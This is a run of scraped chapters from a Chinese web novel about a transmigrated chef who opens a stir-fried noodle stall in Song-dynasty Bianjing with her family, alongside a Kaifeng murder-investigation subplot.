猪肉在城里不算昂贵,算是寻常百姓吃得起的肉类。如今劁猪技艺也算完备,因此猪肉并无膻味。 看着锅里猪肉末慢慢变色,微黄色水样的油脂融化出来,投入豆酱, 再在炒好的佐料里倒入面条翻炒, 很快雪白的面条就沾染上了锅里的酱汁变得金黄, “香!”玉姐儿口水都要流出来了。 叶盏起锅,将鱼排铺在上面笑道:“这道鱼排臊子炒面做好了。” 油亮褐红色的红烧汁,已经全部被雪白的手擀面吸收,变得微焦褐黄。 再撒上嫩绿芫荽、雪白的小葱段,混合炒制后微深绿的荆芥和紫苏、蒜苗, 让玉姐儿喉头动了好几下:“我来盛饭端碗!” 她是个急性子,早冒冒失失开始熄火舀菜端碗。 叶盏也将没用完的柴火拿出灶房,放回墙角的柴火堆,却被宓凤娘叫住:“盏姐儿,怎么每日都吃得过年一样讲究?” 女儿往柴火堆前拿了两回柴火,宓凤娘觉得这事不简单。什么饭这么耗柴火? “孩子爱吃是福。”叶大富开口,可在瞥见浑家脸色后立刻改口 7. 第 7 章 《大宋市井人家》全本免费阅读 宓凤娘被儿子逗得“噗嗤”一声要笑,却生生憋了回去:“就凭你给外头那些帮闲们大手大脚花钱的劲头,只怕也难。” “娘,我今晚又不回来了。” 金哥儿一看娘又要翻起陈年旧账,脚底抹油就想要开溜。 宓凤娘眼疾手快拉住儿子摇摇头:“几个子女里要数你最讲究穿衣,又爱结交那些帮闲抹嘴不本分的人,我是担心你啊……” “老大好穿,玉姐儿好吃,小幺又好学,这几子女当真是什么脾气都有。”正在吭哧吭哧和泥修补掉了角土灶的叶大富赶紧宽慰妻子,“俗话说儿孙自有儿孙福。” 宓凤娘哼了一声没说话,继续喝酒。 金哥儿逃过一劫,摸摸鼻子坐在一边做了个大喘气的动作。 叶盏在旁边打下手,给爹递过去一个小铁铲,一边小声问:“我记得那天王员外……” “呸!什么王员外,叫他王四!”宓凤娘酒盅拍桌上。 “我记得那天王四说大哥以前在私塾里读书被夫子称赞……”叶盏想起王家退亲时说大哥从前是神童。 “可不就是。来是四里八乡出名的神童,因着家里这些事……”说起这个宓凤娘就心痛,“要不是家里败落没钱给你大哥读书,说不得他现在也是秀才了。” “都是因为我……”叶盏和泥的手一停,家人散尽家产寻她才侧面导致了大哥的悲剧。 “妹妹别这么想。”金哥儿开口,“当初全家每个人都想寻你,再说了,夫子也就是客套话,我真一直念书说不定屡试不中,现在家里倾家荡产给我凑考资呢。哪里有现在快活恣肆?” “别浑说。”宓凤娘佯装白儿子一眼,转头宽慰女儿,“盏儿你莫往自己身上揽,你哥没进学固然可惜,可你流落他乡更可怜?”万一被领去当童妓,被打断骨头乞讨,被活剐祭祀,被杂耍的养在花瓶里做花瓶美人,每一样可能都让她心惊肉跳。 “就是。”嘴里嚼着剩余鱼排的玉姐儿在旁边插话,“那时候我们全家人心里头都不好受,银哥儿觉得他不该拉肚子,金哥儿觉得他不该顽皮,我又恨自己跟金哥儿吵架,娘怨自己分神,人人都觉得是自己的错,所以散尽家财大伙儿都愿意。” “说到底都是人贩子可恶!”叶大富狠狠将泥土拍在土灶上,“上回衙差说旬日长公主要在大相国寺做道场,我们也去烧香,答谢答谢菩萨。” 叶盏含糊“嗯”了一声,鼻音有点重。随后就低头猛刮腻子,仔仔细细连一个角落都不放过。 等她做生意有起色,一定要好好弥补家人。 家人齐心合力,太平车上缺角的土灶很快就被补齐。 接下来就是买锅了,叶盏想定制一口大铁锅炒面,再买一个小砂锅煲汤。 到巷子口米铁匠店里问了一圈,叶盏才发现这个时代铁锅这么贵! 一口最普通的铁锅也要300文,更别提定制了。 不过想想就明白了,此时开采和冶炼技术有限,金属自然是稀缺品。 像碗、杯算是老百姓为数不多家当里的金贵物件,就是因为里面含有金属。 “米老板啊,街坊邻居的,你张口说个合适价。”叶大富当仁不让帮女儿讲价。 “叶家兄弟,光是生铁就要卖40文一斤呢。”米铁匠诉苦,“再说刚来了一批贩子收购,清了我存货,听说这铁锅要是贩运到草原上足足值百两银子!能再匀出点给你我可是咬着牙少赚呢!” 最后在叶大富的唇枪舌战下,说定了300文帮叶盏定制一口大铁锅。 买砂锅便宜,只要40文就可。 买了锅后便要布置食摊。汴京讲究些的摊贩都用青布伞撑开遮阳遮雨,摊旁边床凳堆垛。 叶盏暂时买不起青布伞,只打算买点供食客吃饭的长桌并凳子。 但被宓凤娘拦住:“家里有现成的桌凳,你拿来去便是。” 叶大富赶紧点点头:“你娘说得对,我蹲着吃饭便是。蹲着吃更香哩!” 其余便是锅碗瓢盆。 一个大木桶用来放煮好的面条,三个大陶盆用来盛放炒好的浇头。 再就是粗陶碗和筷子。 这些简单,银哥儿寻到陶坊,捡人家烧坏有瑕疵的碗低价买了五十个,用稻草一捆拎回家。 炊具准备停当,宓凤娘还特意洗了一个面口袋:“盏姐儿,开店可不能没幌子。” 幌子便是招牌, 来到大宋叶盏才发现街上并不是千篇一律的简单招牌, 各家商铺争奇斗艳,用尽巧思吸引顾客: 镜子店门口一串小镜片做成宝塔风铃状,太阳一照,镜片到处反射波光粼粼; 卖剪子的门口挂一柄一米高布包缝制的剪子造型,黑色大剪子栩栩如生,让人两里地都能看到这就是剪子店; 大酒楼门楼用五颜六色的彩纸扎成各色绿叶鲜花,讲究些的直接用绸缎扎成牡丹花,让人移不开眼睛; 鞋子店“各色鞋履”下画一双大靴子; 屠夫家门口猪尿泡像一串透明气球一样飘满半个天空,风一吹便随风飘动。 叶盏这小小的摊位也免不了要做些营销手段。 大哥提笔帮忙在幌子上写字:“叶二姐炒面”。 再请叶璃画了一张硕大的画,共有三碗面, 面上分别铺陈臊子、红烧肉、和鱼排, 各种鲜艳颜色五彩缤纷,吸引眼球。 宓凤娘还特意帮女儿用明矾漂洗一遍,防止褪色。 叶璃跟着巫医学画符学得不错,这招牌画下来栩栩如生,让人口中馋虫大生。 即使家人处处帮自己省钱,全套摆摊用品准备下来也足足花了五百文。 还好当初娘给叶盏留了一贯钱的私房钱,不然叶盏还真支付不起。 叶大富想要拿家里的钱给女儿花,却被宓凤娘拦住:“兄弟姐妹几个,谁也不偏帮。” 叶盏觉得娘亲这法子好,不然家里就那点钱,给谁呢? 倒是叶璃和玉姐儿翻出私房钱给叶盏:“处处要花钱,你先拿去使。” 银哥儿掏掏衣袖不好意思舔嘴唇,他赚的每一分钱都交给家里了。 < 8. 第 8 章 《大宋市井人家》全本免费阅读 “好嘞!”叶盏乐呵呵招呼他,麻利给客人盛了一碗鱼汤,“这是赠送的鱼汤你先喝着,您少坐片刻,我马上炒好。” 随后便起锅烧油,铲一勺臊子放进锅里,随后从凉水桶里捞了一份凉面加入一起炒。 “还真是炒面啊!”客人吸溜喝着鱼汤,一边啧啧称奇,“倒干爽。” 鱼汤的滋味很是醇厚,奶白的鱼汤里面有胡椒粉,让人喝下去鼻窍为之一通。 一看食摊用心了,并没有因为是免费提供就胡乱敷衍。 随着锅中翻炒,原本雪白的面条变得焦黄,焦香味也渐渐溢出,惹得客人不住咽口水:这炒面看着就香啊! 等臊子炒面九成熟后,叶盏又夹一块早就煎好的鱼排放在面里,稍微热了热便拿了出来:“做好了!” 她端到客人桌前,笑眯眯请他品尝:“您慢慢品尝,对了,要小心鱼刺。” “对了,还能搭配配菜,您想吃点什么?”叶盏笑眯眯指点客人看配菜。 客人扫了下配菜,眼前各色小木盒装着不同的配菜:薄荷还带着水珠呢,散发出淡淡的气息,荆芥被堆放得整整齐齐,嫩绿芫荽,雪白小葱段,混合炒制后微深绿的荆芥和圆鼓鼓整片叠着的紫苏、蒜苗水灵灵。 里头荆芥、薄荷还特意烫过。 整个配菜盘绿是绿,白是白,紫是紫,看着就如一幅画面一样让人心旷神怡。 客人挑了挑,选择:“除了芫荽都要,荆芥和小葱多加点。”他不爱吃芫荽。 “好嘞!”叶盏拿起竹夹子夹菜,手脚麻利,两下就把备菜全都端过来。 客人把配菜搅动了搅动,让它们和炒面拌在一起,随后打量着眼前的面:微扁圆的面条根根分明,裹上了各色调料,焦黄面条配着淡绿菜蔬、雪白豆芽,看着品相不错。 可是这炒面条能好吃吗? 以前没吃过炒面,不会是什么奇葩饭食吧? 他挑起一筷头面,谨慎送进嘴里。 面条“吸溜”一口进嘴,咀嚼了一口立刻觉得筋道爽滑, 客人自己也在家做饭,当然知道区别:别看这面条平平无奇,要做好却麻烦呢。好多店里大厨偷懒,面团揉得不到位,那手擀面做出来就差点意思,不够筋道。 眼前这碗面显然是老板用了心,揉面的时间很长确保了面团揉到味。 他还是第一次吃炒面呢!炒制过的面条干爽利落,没有寻常索饼的汤汤水水。 他立刻想到,那些平日里是急性子、很烦传统索饼汤汤水水的人,应当很快会喜欢上这种炒面。 而且别看这炒面干爽,其实上面都裹满了酱汁,吃起来香气十足。 那个酱汁滋味很符合,有肉香、有各色香料的香气,层层叠叠在口里铺垫。 肥瘦相间的猪肉臊子原本常见,可这食摊不知道怎么炒制的,居然没有半点膻味,只觉肥香满口。 要是觉得腻,还有各色佐料搭配。 客人连着塞了好几口。 煸炒后被逼出了肥油肥肉丁,呈现出微微褐黄色,整个肥肉有点半透明,油滋滋往外冒油,还沾染着一星半点的微褐色,那是沾染在上面的一丁点瘦肉。 瘦肉丁已经微微发紧,吃进去口感正好。 一旦开始咀嚼,肥肉丁和瘦肉丁,还有筋道的面条立刻在嘴里融合到一起,肥肉变得不腻,瘦肉丁变得丰腴,面条筋道得有嚼劲,几种食材碰撞,滋味恰到好处。 “痛快!”他几口就吃完,放下饭碗还觉意犹未尽,“老板,再来一碗!” 随着叶盏炒面,路过几个行人被这种新奇的食材处理方法吸引,也纷纷点了单。 叶盏一一炒面,接连忙到了中午。 可到了中午就没什么人了。 汴京市民大都习惯了一天吃两顿,早上和下午,这中午一顿大家是尽量吃小吃。 所以这回卖辣脚子、冰雪冷元子、金丝党梅这样的零食小摊生意要好得多。 叶盏的食摊重新又变得空荡荡。 正在发呆就听得一句:“老板,你这面怎么卖?” 叶盏抬头看,咦,大哥? 她刚要出声喊大哥就见叶金冲自己眨眨眼,大手一挥:“弟兄们,都来看看这是甚吃食。” 他身后冒出七八个破皮帮闲,各个衣冠楚楚,摇着小扇,瞬间就把小食摊围得团团。 叶盏懵逼:怎么大哥带来这么些人过来? 叶金在一个劲冲她使眼色。 叶盏只好晕乎乎回答:“客……客官。” “我这有三种面,鱼肉臊子浇头是八文钱,红烧肉浇头是七文钱,素面浇头是五文钱,您要哪种?” 叶金豪气一收扇面,空气撞击出“啪”一声:“每样都给我来一份!” “恐怕您吃不完。”叶盏硬着头皮答,“不如您尝尝红烧肉炒面和素什锦炒面?” “好。”叶金应下,又吩咐自己兄弟们,“你们要吃什么,多点点。” 那些破皮帮闲便跟着一人点了一份面。 叶盏数清楚每种炒面的份数,分成三锅炒完再递了过去。 面条炒好后加入冬菜末和葱花,再撒上绿色芫荽、雪白的小葱段,荆芥和紫苏、萝卜丁、蒜苗,本身就像一幅画面赏心悦目。 “真香!”叶金瞥一眼停留在旁边看热闹的路人,故意大声说,“闻你家这面的香气就知道味道错不了。” 说完大幅度用筷头将炒面挑起,务必让周围人都看到琥珀色的炒面,焦香四溢的味道也随之散开。 送一口进嘴里,面条筋道爽滑。 毫不夸张说,光是就着白汤他都能将那碗面条全吃完。 “哇!好吃!真好吃!”金哥儿这回可不是当托儿,而是真心觉得好吃。 而用作面卤子的红烧肉滋味更是好吃: 猪肉价格低廉,老百姓也惯常吃用。 不过叶金却觉妹妹这炖的猪肉滋味完全不同。 首先卖相就漂亮:猪皮都被炖成半透明,五花三层的小块肉呈现出琥珀色,肥肉变得剔透,瘦肉变成了浅酱色,一口就很入味。 上面的酱汁厚厚一层,也不知是不是糖汁。 筷子一夹,那肉有弹性一般在筷头颤巍巍晃了几下,真是晃得人心旌摇荡。 叶金迫不及待将五花 9. 第 9 章 《大宋市井人家》全本免费阅读 等到太阳下山时,叶家人下工了,纷纷来找叶盏。 这会已经夕阳西下,叶盏炒面摊的香味再次吸引了不少食客前来吃晚饭。 银哥儿洗洗手,赶紧帮妹妹刷洗盘子。 玉姐儿随手招呼起旁边的客人。 一家人一直忙到华灯初上才作罢。 叶盏还想在这里卖夜宵,州桥夜市可是城里夜晚最繁华所在。 不过干了一天活她的确腰酸背痛,想等赚了钱再雇个人一起周转。 回到家里,叶盏累得躺在榻上做咸鱼状。 她穿越前是行政总厨, 买菜有采购,洗菜有小工,备菜有徒弟,端菜有侍应生,算账有收银, 从未像现在这样一人要干所有行当,还得眼观六路,防止有人跑单。 一天下来简直从身体到精神都疲惫。 想象:自己作为穿越女大杀四方。 实际:干一天就全身酸痛。 叶盏用破被蒙住脑袋,哀嚎,变成一条翻滚的咸鱼。 金哥儿二话不说给妹妹端了洗脚水泡脚,宓凤娘也系围裙:“我来将食摊剩下的余料盏儿就歇着吧。” “娘,我来。”玉姐儿眼风扫见娘要进厨房,赶紧抢先一步踏进厨房。 “果然懂事了许多,知道了心疼你娘。”叶大富欣慰夸大女儿。 小妹叶璃抿嘴笑:“大姐肯定是担心娘那手艺糟蹋了二姐的菜式怎么办?!” “才不是呢。”玉姐儿睁着眼睛说瞎话。刚才在摊位上帮忙时她就觊觎已久:妹妹给家人吃了臊子鱼排炒面,但这红烧肉和素炒面可没吃,看着就好吃。 “红口白牙莫要编排你大姐。”宓凤娘不服气,“再说就是煮点面能出什么岔子?”浇头还是白天剩下的,煮煮面把浇头倒上去就行。 却被全家异口同声反对:“不可。”上次宓凤娘煮茭瓜面片汤居然把锅烧焦了,茭瓜都变成了黑炭。 宓凤娘悻悻然:“哼。”腰一扭去倒酒。 美食的力量是巨大的,居然让一贯性子急躁脾气火爆的玉姐儿成功再加工了今晚的夕食。 一家人围坐院里,热热闹闹吃了这顿晚饭,各个吃得肚儿圆圆。 叶璃再次抱着肚子忏悔:“师傅说胖了就不好通灵了。”可还是忍不住又眼馋看了看厨房:明天做什么饭啊? 叶盏吃完缓了些力气就坐在树下算账。 宓凤娘见女儿算完账神色如常,瞧不出端倪,生怕她第一天开张赔本而一蹶不振,咳嗽一声先开口:“这做生意有赔有赚,都很正常。” “你娘说得对。”林大富作为妻子的忠实拥趸跟着帮腔,“胜败乃兵家常事嘛。” 金哥儿对着家里仅有的一面小铜镜左看右看,将一枚红槿花从碗里捞出别在鬓角看效果,随口道:“明日我再寻些兄弟们帮忙捧场,妹妹莫要担忧。” “谁说我担忧了?”叶盏哭笑不得,赶紧说出算账结果,“今儿个赚钱了呢。” “赚钱了?” “这一天鱼肉臊子卖了二十碗,红烧肉卖了二十碗,素浇头卖了二十五碗。” 鱼肉是八文钱,红烧肉七文钱,素面五文钱。 算下来一共赚了四百二十三文,再抛去购买原料的成本,一天的净利润是二百文。 “一天二百文!”宓凤娘算着账。 “一个月就是六贯!一年就是七十二贯!要发财了啊!” “娘,账不能这么算。”叶盏哭笑不得,“香菇、黄花菜那些干货是我从杜家背出来的,没花钱算不进去成本,等用完了下次买新的都要算进成本。” “再说今天还有哥哥带来的人呢,这钱也不算。那些人一人吃了一碗,有人吃了两碗,都给钱了,一共是一百文。” “也就是说我今天只赚了一百文。” “一百文也不少了,一年能有三十六贯呢。”宓凤娘笑眯眯掐着头算。 叶盏摇摇头,她不满意。 汴京做工大约都能赚这个数,那些人出卖自己的劳动力尚且能卖一百文,而他们的老板还有的赚,可见这些人产生的价值不止100文。 要长久立足,她还得动动脑筋多开拓增大客源的法子。 叶盏一边思忖一边数出一百文递过去:“那些人是看哥哥的面子来的,这钱还给哥哥。” “你留着。”大哥看都不看一眼,“你卖面赚钱天经地义。” “那可不行。”叶盏笑吟吟,“今天他们帮哥哥做人情,下回哥哥肯定要还回去,那是可不得大哥自己出钱?” 她执意把钱塞进大哥荷包:“大哥一定收着。” “你们兄妹做张做致做甚么孔融让梨,我替老大收着就是。”宓凤娘看见亮闪闪的铜钱眼前一亮,伸手就要抢,“来!也免去你们兄妹为难。” “娘!”金哥儿顾不得簪花,把红槿花胡乱一抛就把荷包接到了手里,讪笑道,“二妹说得在理,我得请客答谢人家捧场哩。他们一开口,明日说不定妹妹食肆就能名扬京城。” “大哥那些朋友都是什么来路啊?”叶盏很好奇,“怎得能有这么大能力。” “大哥这些伙伴都跟他一样是酒楼里的帮闲,每每有公子哥下馆子,他们就会凑过去给公子哥斟茶倒酒,推荐全城各种美食,各家酒楼有什么拿手菜、哪里的酒最香,他们心里门清。”叶璃在旁边说得头头是道。 哦原来是大宋探店博主(贵族特供版)。 “要一吹一捧,找他们也算是术业有专攻。”玉姐儿在旁解释。 “怪不得大哥对穿着格外讲究呢。原来他这职业大凡穿着不亮丽点就无法吸引公子哥儿。”叶盏恍然大悟。 谁家公子哥儿会让穿着寒酸的帮闲近身呢? 衣衫褴褛的帮闲跟公子哥推荐:“爷,那家酒楼的水晶脍真好吃!”公子哥会信吗?他没准会觉得穷人没吃过什么好东西,看什么都好吃呢。 只有穿着光鲜亮丽人家才会相信你是真的吃过好东西。 “等以后赚了钱,我要给大哥买件好衣裳。”叶盏说。 金哥儿眼泪都快掉下来了:“妹啊,以后爹的古董在我坟里也埋一份,让我尸水帮你把古董做旧,到时候你过不下去就来挖我的坟!” 还不忘其他人:“弟兄姐妹们都能来挖!” “呸呸呸!”气得宓凤娘转身就拧住儿子耳朵,“贼猢狲,这是能拿来说嘴的?” 叶大富双手合十跪拜漫天神佛:“您老人家雅量,莫当真。” 家里正闹得一团,就听得有人在门首怯生生称呼:“可有人?” “是我,赵小七。” 赵小七? 叶盏一愣。 他十五岁年纪,生得唇红齿白一个齐整少年。身后站着他娘。 金哥儿轻咳一声,百忙之中还给妹妹使眼色,一个劲往赵小七臀部瞄,示意她看。 被宓凤娘察觉,在衣袖遮掩下狠狠掐了儿子一把。 金哥儿龇牙咧嘴。 叶盏:…… 赵小七手里端一个木托盘彬彬有礼:“家母听闻府上有喜事,特意并我送一篮碧桃并一碟笋肉馒头过来庆贺。” 相比之下他娘更有市井烟火气: 樱草色蔷薇宝相纹图案抹胸,搭配靛蓝褙子,系一条草绿六幅裙,下穿石青合裆裤,搭配得五彩缤纷, 团团面庞像满月,雪白皮肤,说话很是周全:“听说你家女儿回来,我们来庆贺。” “你也听说了?”宓凤娘满脸喜气, 10. 第 10 章 《大宋市井人家》全本免费阅读 “宝箓宫至酸枣门之间的这几桩案子……”汤正长开口。 汤正长是开封府里的法曹行参军,人如其名长着一张有棱有角的长脸,几个小年轻背地里叫他“驴参军”,为人最是随和不过。 “当然是有关联。”另一位同僚点头附和,“裴昭,你怎么看?” 裴昭长身玉立,从沉思中回过神来:“宝箓宫的老者、酸枣门的青年商人、附近巷里住着的卖茶女,这几人都是被一刀毙命,死后被割了一绺头发,现场留下一个犀牛角吊坠。应该是有关联作案。” “可是这些人之间互无关联啊。”汤参军苦恼挠了挠脑袋,“三名死者年龄不同、籍贯不同、营生不同,生前也互不认识,到底是与谁结仇了?” 正讨论得热火朝天,忽然听见谯楼上遥远的钟声连着敲了一百五十下。 “下衙了!午时了!” 手快的小吏推开案桌上厚厚的工文,兴冲冲就往外跑:“要用午膳了!” 有的衙门福利好,公家提供吃食; 有的衙门离着内城方便,官吏们回家用膳; 只有开封府,周边太挤,回趟家再回来堵车就耗时许久,因此官吏们都在外面吃。 好在开封府周围小食肆脚店林立,丰俭由人,总能挑到中意的美食。有好事者还在案牍之余编了一部册子私下交流,点评附近的各家食肆。 此时大家开始讨论:“今儿中午我想吃当街水饭,搭配着曹家从食①。” “对了,我昨儿个吃了炒索饼,当时我就想这等美食必然要请你共同分享,炒索饼不汤不水,最适宜你这样急性子人食用。”汤参军笑吟吟跟同僚推荐。 “好啊,今日同去。” 汤参军点头,再招呼裴昭:“小裴,跟我们去用膳?案子是办不完的,吃饭要紧。” 汤长正对这位同僚很有好感。 看着年轻,可他前段时间从金吾卫调到了开封府。 金吾司是什么地方?那可是皇家亲卫,能放着炙手可热的前途不要,调到了开封府左军巡司,做一个吃力不讨好的左军巡使,可见很有想法。 “我今日不去,诸位请便。”裴昭拱拱手。 “你这不会要趁中午看案子吧。”席参军酸溜溜开口,“也是,毕竟是左军巡司的左军巡使大人呢!” 同是参军,他这司理参军负责破案,不像汤长正这个法曹行参军负责判案,跟裴昭有竞争关系,因此难免泛酸。 诸人目光齐刷刷移到裴昭脸上,想看他如何反应。 裴昭却置若罔闻,只低头在纸上写写画画,似乎什么都没听见。 席参军讨了个没趣,灰溜溜走人。 裴昭身边的两位侍童看着衙门里的大人们一个个离开,眼巴巴坐在马棚里磕牙: “你说,咱家少爷为何要从前途大好的天子身边调到开封府?”大斧摸着脸上的痘疮,“平日里狩个猎,在天子跟前露露脸,不好吗?” “这你就不懂了吧?”鸣镝拿一根马毛绕着玩,“开封府哪里算普通都府?” 裴家是积年胥吏人家,虽然没有大富大贵,但是祖宗几代嫁娶都是中下级官吏,对于官场那些弯弯绕是门清,连小小的童子都能耳濡目染知道不少。 “只有天子最倚重的官员才能做开封府府尹,好比从前某位官家做皇弟时就任过开封府府尹。” “别看他们现在官职低,可他们都是来挂个职位镀镀金的,公子现在眼光清亮跟一位,等他们一朝起飞,公子就是妥妥的微时心腹!你我二人也可跟着鸡犬升天!” “可,,可……”大斧吭哧了半天,“金吾司也很好啊。也能跟贵人们混个脸熟。” “金吾司错就错在人人都知道它好!什么驸马的弟弟,长公主的儿子、王爷世子都在里头。”鸣镝指点得头头是道,“咱们家那点家世在里面不够看的,到时候有风光露脸的事是贵人家的公子哥上,顶缸背锅的事肯定是咱们公子上。” “这样下来不得倒霉?” “再说金吾司进去的都是二十来岁的毛头小子,自己还没官职,等提携公子都哪年哪月了?” “倒不如跟着开封府的大官们混。”鸣镝分析得头头是道,却本能感觉到后背有一层看不见的威势,害得他无端起了一层鸡皮疙瘩。 他回过头,却见自家公子沉静的身影:“说完了?” 啊? 鸣镝吓得从车辕上摔了下来:“少爷,少爷我真不是故意的啊!” “口无遮拦。今儿归家自己去领罚。”裴昭吩咐,“去牵马。” “少爷,我们现在去吃饭?”大斧高兴起来,“他们都去吃什么炒索饼,我们也去?” “不是,去南司。”裴昭面色如水,“我去寻南司的判官,从他那里讨要卷宗。在路上用些冷点心便是。” 大斧的肩膀肉眼可见耷拉下来。 经过思索叶盏决定加小菜售卖,想来想去还是腌酸菜最适合夏天。 先去买些芥菜、包菜洗干净用粗盐抹匀腌好。 包菜用盐腌制了一会,慢慢渗透出水分,很快就流满了一盆底,按惯例这盐水是要倒掉的,不过宓凤娘死活不让扔,让留着做菜时增味。 等蔬菜腌制得差不多后叶盏去寻隔壁赵家借了一碗淘米水,是的,叶家穷到没有隔夜米,都是现吃现买。 淘米水烧开,放凉后再将早就洗好晾干的芥菜、包菜放入其中, 最后放上葱姜蒜,冰糖,和从宓凤娘酒壶里抢救出来的一点点白酒就算做好了。 净置在阴凉地一夜后第二天便做好了。 家里都认可叶盏的手艺,因此还没装盘还在切片阶段家人就凑过来好奇尝尝滋味。 玉姐儿先抢了一片切好的酸菜送进了嘴里,随后惊呼一声:“酸!” 她眉毛蹙在一起,差点吐了出来。 但等舌尖剧烈的刺激褪去后,却觉得这酸味恰到好处。 微微的乳酸清淡爽口,让人在炎炎夏日不由得胃口大开。 “还要再加工呢。”叶盏用芥菜籽上小磨,开始磨。 这已经够好吃了,还要怎么加工?玉姐儿舔舔嘴唇,主动包揽了 11. 第 11 章 《大宋市井人家》全本免费阅读 汤参军打量着盘里的炒面。 原本紧实的肉质红中带金黄,琥珀般透明的腊肉,色泽红中带着微黄油亮,筷子夹起来有肥有瘦,或许因为切得薄的缘故,整个腊肉都微微发卷,如美人的腰窝,看着更诱人了。 汤参军狠狠闻了一鼻子腊肉,想象出从前家乡腌制这腊肉的时候: 娘将肥肉剁得细碎,将瘦肉慢慢剁开,再将红的瘦肉,白的肥肉一起灌进了肠衣里, 大人们燃起篝火,在里面添加橘子皮和松柏枝,小孩儿拖着自己捡来的柏实松果扔进火堆凑热闹。 大火缭绕,浓重的芳香烟雾直熏火腿,直接锁住了扑鼻香气,腊肉的肥油渐渐一滴滴从肠衣里渗透出来,“滴答”一声落入火堆,立刻就让火堆刺啦一声。 火星子冒起火苗,窜得老高。孩子们低低惊呼一声,娘亲捂着他的耳朵叫他不要怕。 等熏制好几天腊肉便熏制完成了,厨娘们踩着竹梯子珍而重之将腊肉挂在厨房的房梁上,确保老鼠和家里的小孩都够不着。 随后就满心欢喜等着吃一吃腊肉了。 这等待的光阴中厨房里的油烟又再次熏染,给腊肉再多一层风味。 吃腊肉的回忆最为珍贵: 娘会亲自下厨,将腊肉切成薄皮,混合着一大盘春笋炒制,油脂渐渐消融在铁锅里,沾染到春笋上。 而吃起来口感就如今天吃到的腊肉一般: 吃一口嚼劲十足,油香四溢,经过岁月熏染的肉香立刻弥散出来,格外厚重。 而且烟火熏过后特殊的香气又给原本的肉香增添了不少风味,让整个腊肉滋味更加浑厚。 瘦肉丝毫不塞牙,肥肉丝毫不油腻,既有嚼劲又温润柔软,让人吃了一口又一口。 汤参军这才意识到盘子里的配菜有点意思。要是按照他来评价,配腊肉最好的当然是春笋。 可这家店配的腌酸菜居然也很奇特,别有一番风味。 酸菜是常见的包菜芥菜,说常见也很常见,是汴京市民们惯常食用的蔬菜,要有什么不同的话,那就是老板将酸菜进行了处理,包菜切块芥菜剖成了长条,显得更细致些。 不过腌制手法似乎有所不同,让原本瓷白泛绿的包菜变得透明,颜色更加温润,而芥菜则褪去了翠绿变得微微灰绿。 吃进嘴里,包菜在腌制下变得微微发甜,芥菜则褪去了新鲜时候的辣味变得只有满满酸香,刺激得人嘴巴里狠狠一酸,而后口水不受控制开始分泌。 腌酸菜满口脆爽,搭配着色泽红白相间的腊肉正好,让醇厚滋味从舌尖顺利抵达喉咙。两种经过光阴炮制成的食材意外得水乳交融,似乎是天作之二。 黄芥末酱、藠头酱、蒜姜酱更是提起了酸菜腊肉炒面的滋味,让人辣得涕泪横流,但却忍不住一口接着一口吃: 酸菜刺激食欲,那就多来一口腊肉; 腊肉醇厚肥香满口,就来一口面中和中和; 炒面筋道,正好来口酸菜下下饭。 一来二去这份酸菜腊肉炒面被吃得底朝天。 要不是太过饱腹会导致发困影响判案,汤参军真想再点一份。 想了想,他决定以后要吩咐家里后厨尝试用腌酸菜搭配下腊肉,不输春笋。 只不过他虽然不通厨艺,但也听说过腌制之术虽然大同小异,但成品却天差地别。要想做出店家这样好滋味的酸菜炒面,最好是采用店家的原品。 想到这里,汤参军问店家:“不知这腌酸菜可能单卖一份?” “可以单卖。荷叶包好给您。一包是三文钱。”叶盏笑吟吟回复他,还不忘贴心提示,“您也可以在店里吃,店里的腌酸菜是免费的,不够还可以加。” 做了免费的小菜分赠是叶盏的营销策略之一。 昨天说出这个决定时宓凤娘嫌弃女儿“大手大脚”,可叶盏很快就说服了她:“做生意当然要让利顾客,不然算那么精,客人凭什么当回头客?” 宓凤娘想起自己素日里只去能够免费赠送一小把布头的绣坊买布,便不再吭声。 汤参军听完后便买了两份酸菜,叫小厮先搭车送回家免得坏,自己则又要了一份免费的酸菜,安静坐在矮桌前一牙接着一牙“咔嚓咔嚓”嚼起了酸菜。 他回衙门时正要跟小裴大人分享今天的美食,就见小裴大人一脸激动:“汤大人!我发现一则案子与这批案子似有关联!” 一贯冷静自持的裴昭此时难得面露激动,似乎难以抑制自己澎湃的心情: “五年前一桩案子,也是人死后被割了一绺头发,留下一个犀牛角吊坠。 因着此物不是中原物品,来自番邦,因此让我印象深刻。 这回发生的这几桩命案都是同样的做法,可见定有关联。” 其余同僚凑过来,看了一遍后席参军先开口:“怎么会一样?十年前这桩案子死者是一名二十多岁的壮劳力。 今年的三起,一个死者是卖茶女,一名死者是穷巷老头,一个是外地来经商的中年商人。 哪里有什么共同之处?” 另外一位同僚也摇摇头:“偌大的汴京城共有几百万口人,哪日不是要死人?死的人都多了,这便会有些巧合。” 他们经历的多了,自然是不将这些放在眼里。很快就一哄而散讨论起今天中午的膳食了: “吃食倒不错,炒面别有风味。” “我也去了那家,还打包了一份豌豆徘徊酥。” “我怎么没有?” “老板说我第一天照顾了她生意,今天又第二天来,所以特意送了两块酥给我。”那位小吏得意洋洋,从油纸包里捏出了一份酥就跟大家炫耀,“豌豆碾碎成泥,徘徊①花香十足,这不得做首诗?” 他们凑在一起又作诗又吃东西,裴昭瞥了一眼众人,随后把自己的案卷拿开,以免脏污。 * 又是送点心又是送回赠小菜,叶盏眼见着自己摊位上的回头客多了起来。她松口气,这种小食摊靠得最多就是街坊邻居回头客,有了他们光顾才能长长久久在激烈的摊贩竞争中站稳脚跟。 她收摊后,除了豌豆徘徊酥还做了顶皮酥果馅儿,为的就是能够招揽顾 12. 第 12 章 《大宋市井人家》全本免费阅读 叶金成功被暴揍一顿。 别看他现在已经是个大人,叶大富拎起他就跟拎小鸡崽子一样,抖落了好些铜板送去给赵家赔礼道歉。 赵家人倒不错,丝毫不怪罪,非但没有收钱,还给叶老大送了一盘子五颜六色的蜀葵用作簪花。 宓凤娘当时就又拿钱买了两匹尺头回赠过去,甚至还押着叶盏又做了三碗鱼排臊子面端过去。 这种作风,与宓凤娘勤(抠)俭(门)节(至)约(极)的作风不符啊?叶盏纳闷。 不过她很快就明白了亲娘为何热情招呼赵家。 宓凤娘神神叨叨问叶盏:“你瞧着赵小七这孩子如何?” “家风淳朴,家里又有这么大产业,赵小七长得周正,现在读书不错,赵还是国姓,婆母虽然耳根子软是个糊涂蛋但人好,哪个小娘子嫁过去不是享福的命?” 叶盏一脸警惕看着亲娘:“不好说。” 心思被女儿看透,宓凤娘不好意思笑笑:“娘也是为你好嘛!巷口那些人不是净日里笑话你被退亲嘛,哼!我们要嫁个好的,让他们懊恼后悔!” “我又不是为旁人活着的。”叶盏摇摇头,“再说了,娘,您不是说他那啥里藏钱嘛?” 